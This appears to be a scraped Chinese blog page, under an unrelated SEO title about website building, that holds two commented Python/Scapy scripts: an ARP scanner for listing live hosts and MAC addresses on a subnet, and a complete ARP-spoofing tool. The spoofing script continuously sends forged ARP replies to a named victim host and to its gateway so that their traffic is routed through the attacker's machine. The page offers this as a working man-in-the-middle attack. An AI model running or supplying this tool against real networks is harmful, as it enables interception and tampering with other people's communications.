自己做的網(wǎng)站打不開外貿(mào)營銷網(wǎng)站建設(shè)介紹
?ARP掃描:檢測指定IP網(wǎng)段中哪些主機(jī)是在線的,并獲取它們的MAC地址
from scapy.all import *
import argparse
import threading
import time
import logging # 解析CIDR格式的網(wǎng)段,并返回IP地址列表
# >接受一個CIDR格式的網(wǎng)段作為輸入(例如192.168.1.0/24)。
# >將網(wǎng)段解析為IP地址列表。
# >通過子網(wǎng)掩碼長度計算IP地址范圍,并生成該網(wǎng)段內(nèi)所有可能的IP地址。
def Parse_IP(targets): """ 將CIDR格式的網(wǎng)段字符串轉(zhuǎn)換為IP地址列表。 :param targets: CIDR格式的網(wǎng)段字符串,例如"192.168.1.1/24" :return: IP地址列表 """ _split = targets.split('/') # 按斜杠分割字符串,得到網(wǎng)絡(luò)地址和子網(wǎng)掩碼長度 first_ip = _split[0] # 獲取網(wǎng)絡(luò)地址 ip_split = first_ip.split('.') # 按點分割網(wǎng)絡(luò)地址,得到各部分的數(shù)字 # 生成IP地址范圍 ipv4 = range(int(ip_split[3]), int(ip_split[3]) + (2 ** (32 - int(_split[1])))) # 構(gòu)建IP地址列表 addr = [f"{ip_split[0]}.{ip_split[1]}.{ip_split[2]}.{p}" for p in ipv4] return addr # 使用ARP協(xié)議掃描指定IP地址,查找在線設(shè)備
# >接受一個IP地址作為輸入。
# >使用Scapy發(fā)送一個ARP請求到這個IP地址,并等待回復(fù)
# >如果收到ARP回復(fù),則提取并打印出該IP地址對應(yīng)的MAC地址
def ARP_Scan(address): """ 發(fā)送ARP請求到指定IP地址,并查找在線設(shè)備的MAC地址。 :param address: 要掃描的IP地址 """ try: # 發(fā)送ARP請求并等待回復(fù),超時時間為5秒 ret = sr1(ARP(pdst=address), timeout=5, verbose=False) # 如果收到回復(fù) if ret: # 檢查回復(fù)是否包含ARP層,并且操作碼是否為2(表示ARP回復(fù)) if ret.haslayer('ARP') and ret.fields['op'] == 2: # 打印IP地址和對應(yīng)的MAC地址 print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'], ret.fields['hwsrc'])) except Exception as e: logging.error(f"An error occurred while scanning IP {address}: {e}") exit(1) # 程序入口
# >argparse模塊解析命令行參數(shù)
# >如果提供了掃描網(wǎng)段參數(shù),則調(diào)用Parse_IP函數(shù)解析網(wǎng)段,獲取IP地址列表
# >每個IP地址創(chuàng)建一個新的線程來執(zhí)行ARP_Scan函數(shù)
if __name__ == "__main__": # 設(shè)置Scapy的日志記錄級別為ERROR,以減少不必要的輸出 logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # 創(chuàng)建命令行參數(shù)解析器 parser = argparse.ArgumentParser() parser.add_argument("-s", "--scan", dest="scan", help="輸入一個掃描網(wǎng)段") # 解析命令行參數(shù) args = parser.parse_args() # 如果提供了掃描網(wǎng)段參數(shù) if args.scan: # 解析網(wǎng)段并獲取IP地址列表 addr_list = Parse_IP(args.scan) # 創(chuàng)建線程列表 threads = [] # 對每個IP地址啟動一個新的掃描線程 for item in addr_list: t = threading.Thread(target=ARP_Scan, args=(item,)) threads.append(t) t.start() # 等待所有線程完成 for item in threads: item.join() else: parser.print_help()
ARP欺騙:通過偽造ARP響應(yīng)來欺騙目標(biāo)計算機(jī)和網(wǎng)關(guān),使它們相信它們正在與對方通信,而實際上所有的通信都經(jīng)過了攻擊者的機(jī)器
from scapy.all import *
import argparse
import threading, time
import logging # 定義SendPayload函數(shù),用于發(fā)送ARP欺騙的數(shù)據(jù)包
def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP): # 打印目標(biāo)MAC地址和目標(biāo)IP地址,以及發(fā)送的數(shù)據(jù)包數(shù)量 print("[+] 目標(biāo)MAC: {} 目標(biāo)IP: {} 發(fā)送: 2 packets".format(tgtMac, tgtIP)) # 生成并發(fā)送第一個ARP數(shù)據(jù)包,偽造網(wǎng)關(guān)的IP和MAC地址,欺騙目標(biāo)計算機(jī) # 使目標(biāo)計算機(jī)認(rèn)為網(wǎng)關(guān)的MAC地址是攻擊者的MAC地址 sendp( Ether(src=srcMac, dst=tgtMac) / # 以攻擊者的MAC地址作為源MAC,目標(biāo)計算機(jī)的MAC地址作為目的MAC ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), # ARP數(shù)據(jù)包,其中op=2表示ARP回復(fù) iface=Interface) # 生成并發(fā)送第二個ARP數(shù)據(jù)包,偽造目標(biāo)計算機(jī)的IP和MAC地址,欺騙網(wǎng)關(guān) # 使網(wǎng)關(guān)認(rèn)為目標(biāo)計算機(jī)的MAC地址是攻擊者的MAC地址 sendp( Ether(src=srcMac, dst=gateWayMac) / # 以攻擊者的MAC地址作為源MAC,網(wǎng)關(guān)的MAC地址作為目的MAC ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface) if __name__ == "__main__": # 創(chuàng)建命令行參數(shù)解析器 parser = argparse.ArgumentParser() # 接口名 parser.add_argument("-i", "--interface", dest="interface", help="輸入接口名") # 網(wǎng)關(guān)地址parser.add_argument("-g", "--gateway", dest="gateway", help="輸入網(wǎng)關(guān)地址") # 目標(biāo)主機(jī)地址 parser.add_argument("-t", "--target", dest="target", help="輸入被害主機(jī)地址") # 解析命令行參數(shù) args = parser.parse_args() if args.gateway and args.target: # 通過接口名稱獲取本機(jī)的MAC地址 srcMac = get_if_hwaddr(args.interface) # 通過目標(biāo)主機(jī)的IP地址獲取其MAC地址 tgtMac = getmacbyip(args.target) # 通過網(wǎng)關(guān)的IP地址獲取其MAC地址 gatewayMac = getmacbyip(args.gateway) # 持續(xù)發(fā)送ARP欺騙數(shù)據(jù)包 while True: # 創(chuàng)建一個新線程來發(fā)送ARP欺騙數(shù)據(jù)包 t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target)) t.start() t.join() time.sleep(1) else: parser.print_help()